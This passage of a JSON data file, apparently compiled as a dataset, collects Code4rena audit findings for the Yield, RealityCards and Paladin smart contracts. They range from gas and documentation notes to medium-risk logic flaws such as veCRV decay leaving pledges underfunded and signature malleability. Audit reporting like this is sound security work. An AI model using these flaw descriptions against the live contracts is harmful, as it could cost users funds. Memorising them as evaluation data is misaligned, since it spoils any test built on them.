https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L25-L26 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L110 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L120 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L130 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L140 Add natspec documentation for parameters and return value of these functions: - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L31 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L38 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L52 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L59 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L74 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L94 "}, {"title": "CTokenMultiOracle.sol - cTokenIds.length in setSources() can be stored in a variable", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact In the external function `setSources` of `CTokenMultiOracle.sol`, we call `cTokenIds.length` three times. This value can be stored in a variable to avoid two sload. Also, `uint256 i = 0;` can be refactored to `uint256 i;` since `uint256` initializes with a value of `0` by default. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L38-L39 https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L42 ## Recommended Mitigation Steps Store `cTokenIds.length` in a variable and declare `i` with the default value: ``` uint256 cTokenIdsLength = cTokenIds.length; require( cTokenIdsLength == underlyings.length && cTokenIdsLength == cTokens.length, \"Mismatched inputs\" ); for (uint256 i; i < cTokenIdsLength; i++) { _setSource(cTokenIds[i], underlyings[i], cTokens[i]); } ``` "}, {"title": "CTokenMultiOracle.sol - require in _setSource() seems useless", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/12", "labels": ["bug", "0 (Non-critical)", "Oracles"], "target": "2021-08-yield-findings", "body": "CTokenMultiOracle.sol - require in _setSource() seems useless"}, {"title": "CTokenMultiOracle.sol - Add natspec documentation", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle PierrickGT # Vulnerability details # CTokenMultiOracle.sol - Add natspec documentation ## Impact In `CTokenMultiOracle.sol`, internal functions, event, struct, public constant and mapping are not documented. Functions parameters and return values should also be documented for external functions. Natspec documentation should also be added to describe what this contract is all about. ## Recommended Mitigation Steps Add natspec documentation to describe the contract: - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L11 Add natspec documentation for the following code: - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L14 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L16 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L18 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L24 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L73 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L91 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L109 Add natspec documentation for parameters and return value of these functions: - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L29 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L36 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L51 - https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L64 "}, {"title": "FYTokenFactory.sol - fyToken.ROOT() can be stored in a variable", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-08-yield-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact In `FYTokenFactory.sol`, it is possible to avoid one sload by storing `fyToken.ROOT()` in a variable. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/77bc292601ba6cb6d35f9a1cb606f21ed94ad36e/contracts/FYTokenFactory.sol#L37-L38 ## Tools Used Manual analysis ## Recommended Mitigation Steps ``` bytes4 rootRole = fyToken.ROOT(); fyToken.grantRole(rootRole, msg.sender); fyToken.renounceRole(rootRole, address(this)); ``` "}, {"title": "improve safety of role constants ", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/9", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Wand"], "target": "2021-08-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The contract Wand defines a few role constants with bytes4(keccak256(\"...function...\")) However if the function template would change slightly, for example when uint128 is replaced by uint256, then this construction isn't valid anymore. It is safer the use the function selector, as is done in EmergencyBrake.sol ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/main/contracts/Wand.sol#L27 bytes4 public constant JOIN = bytes4(keccak256(\"join(address,uint128)\")); bytes4 public constant EXIT = bytes4(keccak256(\"exit(address,uint128)\")); bytes4 public constant MINT = bytes4(keccak256(\"mint(address,uint256)\")); bytes4 public constant BURN = bytes4(keccak256(\"burn(address,uint256)\")); https://github.com/code-423n4/2021-08-yield/blob/main/contracts/utils/EmergencyBrake.sol#L35 _grantRole(IEmergencyBrake.plan.selector, planner); ## Tools Used ## Recommended Mitigation Steps Use function selectors in Wand.sol "}, {"title": "updateTime of get is 0", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/7", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In function get of CompositeMultiOracle the updateTime is not initialized, so it will be 0 Function _get has the following statement: updateTimeOut = (updateTimeOut < updateTimeIn) ? updateTimeOut : updateTimeIn; updateTimeIn ==0 ==> (updateTimeOut < updateTimeIn)== false ==> result of the expression is updateTimeIn == 0 ==> updateTimeOut =0 So this means the function get will always return updateTime==0 The updateTime result of the function get doesn't seem to be used in the code so the risk is low. If would only be relevant for future code updates. ## Proof of Concept //https://github.com/code-423n4/2021-08-yield/blob/main/contracts/oracles/composite/CompositeMultiOracle.sol#L94 function get(bytes32 base, bytes32 quote, uint256 amount) external virtual override returns (uint256 value, uint256 updateTime) { ... for (uint256 p = 0; p < path.length; p++) { (price, updateTime) = _get(base_, path[p], price, updateTime); function _get(bytes6 base, bytes6 quote, uint256 priceIn, uint256 updateTimeIn) private returns (uint priceOut, uint updateTimeOut) { ... (priceOut, updateTimeOut) = IOracle(source.source).get(base, quote, 10 ** source.decimals); // Get price for one unit ... updateTimeOut = (updateTimeOut < updateTimeIn) ? updateTimeOut : updateTimeIn; // Take the oldest update time } ## Tools Used ## Recommended Mitigation Steps In function get, add the following in the beginning of the function: updateTime = block.timestamp; "}, {"title": "Combine get and peek", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "Oracles"], "target": "2021-08-yield-findings", "body": "Combine get and peek"}, {"title": "gas improvement wih source.decimals", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "Oracles"], "target": "2021-08-yield-findings", "body": "gas improvement wih source.decimals"}, {"title": "improve separation of concerns in TimeLock", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/4", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "improve separation of concerns in TimeLock"}, {"title": "gas improvement in schedule and cancel of TimeLock.sol", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "Timelock"], "target": "2021-08-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The functions schedule and cancel of TimeLock.sol receive the parameters targets and data. This is not absolutely necessary. Receiving txHash would be enough, as txHash is verified in the function execute. This is like a commit and reveal scheme. It would save some gas and contract complexity. This assumes that the parameters targets and data are accessible offchain for verification, which I would think would be true anyway. ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. ## Tools Used ## Recommended Mitigation Steps You can use the following approach if you want to save some gas. Note: the parameters targets and data won't be available onchain in events (at least until execute has been performed) function schedule(bytes32 txHash, uint256 eta) external override auth { require(eta >= block.timestamp + delay, \"Must satisfy delay.\"); // This also prevents setting eta = 0 and messing up the state require(transactions[txHash] == 0, \"Transaction not unknown.\"); transactions[txHash] = eta; .... } function cancel(bytes32 txHash) external override auth { require(transactions[txHash] != 0, \"Transaction hasn't been scheduled.\"); delete transactions[txHash]; .... } "}, {"title": "extra checks separation of concerns", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/2", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "extra checks separation of concerns"}, {"title": "double negative in comment", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/1", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "Timelock"], "target": "2021-08-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact TimeLock.sol contains a comment with a double negative, which is confusing to read: Transaction not unknown. ## Proof of Concept //https://github.com/code-423n4/2021-08-yield/blob/main/contracts/utils/TimeLock.sol#L55 function schedule(address[] calldata targets, bytes[] calldata data, uint256 eta) external override auth returns (bytes32 txHash) { .. require(transactions[txHash] == 0, \"Transaction not unknown.\"); ## Tools Used ## Recommended Mitigation Steps Replace: Transaction not unknown. with: Transaction already scheduled. "}, {"title": "UberOwner has too much power", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/74", "labels": ["bug", "sponsor disputed", "3 (High Risk)"], "target": "2021-08-realitycards-findings", "body": "UberOwner has too much power"}, {"title": "Gas optimization in RCMarket.sol and other files", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-realitycards-findings", "body": "Gas optimization in RCMarket.sol and other files"}, {"title": "User can deposit more than maxContractBalance", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/71", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-08-realitycards-findings", "body": "User can deposit more than maxContractBalance"}, {"title": "gas saving in `_processRentCollection`", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In `rcMarket._processRentCollection` it's possible to save a SLOAD by rewriting the lines: ``` uint256 _rentOwed = (card[_card].cardPrice * (_timeOfCollection - card[_card].timeLastCollected)) / 1 days; uint256 _timeHeldToIncrement = (_timeOfCollection - card[_card].timeLastCollected); ``` into: ``` uint256 _timeHeldToIncrement = (_timeOfCollection - card[_card].timeLastCollected); uint256 _rentOwed = (card[_card].cardPrice * _timeHeldToIncrement) / 1 days; ``` ## Proof of Concept https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCMarket.sol#L1060-L1063 ## Tools Used editor ## Recommended Mitigation Steps Consider changing the code as illustrated. "}, {"title": "Use `_safeTransfer` when transferring NFTs", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-realitycards-findings", "body": "Use `_safeTransfer` when transferring NFTs"}, {"title": "Return value of `erc20.approve` is unchecked", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/64", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Return value of `erc20.approve` is unchecked"}, {"title": "Direct usage of `ecrecover` allows signature malleability", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/63", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "# Handle shw # Vulnerability details ## Impact The `verifySig` function of `Gravity` calls the Solidity `ecrecover` function directly to verify the given signatures. However, the `ecrecover` EVM opcode allows malleable (non-unique) signatures and thus is susceptible to replay attacks. Although a replay attack seems not possible here since the nonce is increased each time, ensuring the signatures are not malleable is considered a best practice (and so is checking `_signer != address(0)`, where `address(0)` means an invalid signature). ## Proof of Concept Referenced code: [Gravity.sol#L153](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/solidity/contracts/Gravity.sol#L153) [SWC-117: Signature Malleability](https://swcregistry.io/docs/SWC-117) [SWC-121: Missing Protection against Signature Replay Attacks](https://swcregistry.io/docs/SWC-121) ## Recommended Mitigation Steps Use the `recover` function from [OpenZeppelin's ECDSA library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol) for signature verification. "}, {"title": "Unable to Recover Improperly Transferred Tokens", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Unable to Recover Improperly Transferred Tokens"}, {"title": "add zero address validation in constructor", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact since the parameter in the constructor are used to initialize the state variable , proper check up should be done , other wise error in these state variable can lead to redeployment of contract ## Proof of Concept https://github.com/code-423n4/2021-08-realitycards/blob/39d711fdd762c32378abf50dc56ec51a21592917/contracts/RCLeaderboard.sol#L50 https://github.com/code-423n4/2021-08-realitycards/blob/39d711fdd762c32378abf50dc56ec51a21592917/contracts/RCOrderbook.sol#L136 https://github.com/code-423n4/2021-08-realitycards/blob/39d711fdd762c32378abf50dc56ec51a21592917/contracts/RCTreasury.sol#L120 ## Tools Used manual review ## Recommended Mitigation Steps add zero address validation "}, {"title": "use of array without checking its length", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/60", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "use of array without checking its length"}, {"title": "Deposits don't work with fee-on transfer tokens", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/58", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Deposits don't work with fee-on transfer tokens"}, {"title": "`RCLeaderboard.market` storage variable is not used", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-realitycards-findings", "body": "# Handle cmichel # Vulnerability details The `RCLeaderboard.market` storage variable is never used. Instead, the `MARKET` role seems to be used to implement authentication. ## Impact Unused code can hint at programming or architectural errors. ## Recommended Mitigation Steps Use it or remove it. "}, {"title": "Markets can start in the past", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Markets can start in the past"}, {"title": "No check for the referenceContractAddress in createMarket()", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact referenceContractAddress is used in createMarket() to create newAddress for the market , a necessary check should be there that referenceContractAddress exist or not, because if createMarket() is called before setReferenceContractAddress() address(0) will be passed as referenceContractAddress , since addMarket() of treasury and nfthub does not have address validation for the market ## Proof of Concept https://github.com/code-423n4/2021-08-realitycards/blob/39d711fdd762c32378abf50dc56ec51a21592917/contracts/RCFactory.sol#L714 ## Tools Used manual review ## Recommended Mitigation Steps add a condition to check the referenceContractAddress "}] \ No newline at end of file diff --git a/results/codearena_findings_30.json b/results/codearena_findings_30.json new file mode 100644 index 0000000..fc6b620 --- /dev/null +++ b/results/codearena_findings_30.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/99", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "grade-a", "Q-24"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-14"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-23"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Pledge may be out of reward due to the decay in veCRV balance. targetVotes is never reached.", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/91", "labels": ["bug", "help wanted", "2 (Med Risk)", "judge review requested", "primary issue", "sponsor confirmed", "selected for report", "M-03"], "target": "2022-10-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L325-L335 https://github.com/code-423n4/2022-10-paladin/blob/d6d0c0e57ad80f15e9691086c9c7270d4ccfe0e6/contracts/WardenPledge.sol#L259-L268 # Vulnerability details ## Impact Pledge may be out of reward due to the decay in veCRV balance. The receiver may lose his reward given to boosters but get nothing in return since her targetVotes is never reached. ## Proof of Concept According to Curve documentation at https://curve.readthedocs.io/dao-vecrv.html ``` A user\u2019s veCRV balance decays linearly as the remaining time until the CRV unlock decreases. For example, a balance of 4000 CRV locked for one year provides the same amount of veCRV as 2000 CRV locked for two years, or 1000 CRV locked for four years. ``` On creation, targetVotes = 100, balance = 20 -> votesDifference = 80 -> reward is allocated for 80 votes ```solidity // Get the missing votes for the given receiver to reach the target votes // We ignore any delegated boost here because they might expire during the Pledge duration // (we can have a future version of this contract using adjusted_balance) vars.votesDifference = targetVotes - votingEscrow.balanceOf(receiver); vars.totalRewardAmount = (rewardPerVote * vars.votesDifference * vars.duration) / UNIT; vars.feeAmount = (vars.totalRewardAmount * protocalFeeRatio) / MAX_PCT ; if(vars.totalRewardAmount > maxTotalRewardAmount) revert Errors.IncorrectMaxTotalRewardAmount(); if(vars.feeAmount > maxFeeAmount) revert Errors.IncorrectMaxFeeAmount(); // Pull all the rewards in this contract IERC20(rewardToken).safeTransferFrom(creator, address(this), vars.totalRewardAmount); // And transfer the fees from the Pledge creator to the Chest contract IERC20(rewardToken).safeTransferFrom(creator, chestAddress, vars.feeAmount); ``` Then 1 week passed, receiver's balance decay to 10 On creation, targetVotes = 100, balance = 10 but votesDifference stays 80, and reward has only allocated for 80 votes. ```solidity // Rewards are set in the Pledge as reward/veToken/sec // To find the total amount of veToken delegated through the whole Boost duration // based on the Boost bias & the Boost duration, to take in account that the delegated amount decreases // each second of the Boost duration uint256 totalDelegatedAmount = ((bias * boostDuration) + bias) / 2; // Then we can calculate the total amount of rewards for this Boost uint256 rewardAmount = (totalDelegatedAmount * pledgeParams.rewardPerVote) / UNIT; if(rewardAmount > pledgeAvailableRewardAmounts[pledgeId]) revert Errors.RewardsBalanceTooLow(); pledgeAvailableRewardAmounts[pledgeId] -= rewardAmount; ``` A booster boosts 80 votes and takes all rewards in the pool. However, only 80 (From booster) + 10 (From receiver) = 90 votes is active. Not 100 votes that receiver promise in the targetVotes. Then, if another booster tries to boost 10 votes, it will be reverted with RewardsBalanceTooLow since the first booster has taken all reward that is allocated for only 80 votes. ## Recommended Mitigation Steps You should provide a way for the creator to provide additional rewards after the pledge creation. Or provide some reward refreshment function that recalculates votesDifference and transfers the required additional reward."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-22"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "high quality report", "grade-a", "G-13"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-21"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Unrecoverable assets for fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/82", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-20"], "target": "2022-10-paladin-findings", "body": "Unrecoverable assets for fee-on-transfer tokens"}, {"title": "User's reward may be rounded to 0 or truncated when they pledge their voting power.", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/78", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "sponsor disputed", "grade-b", "Q-19"], "target": "2022-10-paladin-findings", "body": "User's reward may be rounded to 0 or truncated when they pledge their voting power."}, {"title": "Fee-on-transfer token not supported as reward token because the totalRewardAmount calculated may be different from the reward token amount we received.", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/74", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-18"], "target": "2022-10-paladin-findings", "body": "Fee-on-transfer token not supported as reward token because the totalRewardAmount calculated may be different from the reward token amount we received."}, {"title": "recoverERC20() Unable to collect processing fee token", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/72", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "sponsor acknowledged", "grade-b", "Q-17"], "target": "2022-10-paladin-findings", "body": "recoverERC20() Unable to collect processing fee token"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-16"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-12"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Owner can transfer all ERC20 reward token out using function recoverERC20", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/68", "labels": ["bug", "2 (Med Risk)", "primary issue", "selected for report", "M-02"], "target": "2022-10-paladin-findings", "body": "Owner can transfer all ERC20 reward token out using function recoverERC20"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/67", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-11"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-10"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-09"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "owner can sweep tokens with two entry points", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/62", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-15"], "target": "2022-10-paladin-findings", "body": "owner can sweep tokens with two entry points"}, {"title": "Due to loss of precision, targetVotes may not reach", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "satisfactory", "sponsor acknowledged", "edited-by-warden", "selected for report", "M-01"], "target": "2022-10-paladin-findings", "body": "Due to loss of precision, targetVotes may not reach"}, {"title": "Unsupported fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/57", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-14"], "target": "2022-10-paladin-findings", "body": "Unsupported fee-on-transfer tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-13"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-08"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-07"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-06"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-12"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-11"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-10"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "User will lose their tokens/ Steal from Users", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/27", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "sponsor acknowledged", "grade-b", "Q-09"], "target": "2022-10-paladin-findings", "body": "User will lose their tokens/ Steal from Users"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-08"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/23", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-07"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/22", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-06"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "high quality report", "grade-b", "G-05"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/20", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "grade-a", "Q-05"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-04"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-04"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-03"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-03"], "target": 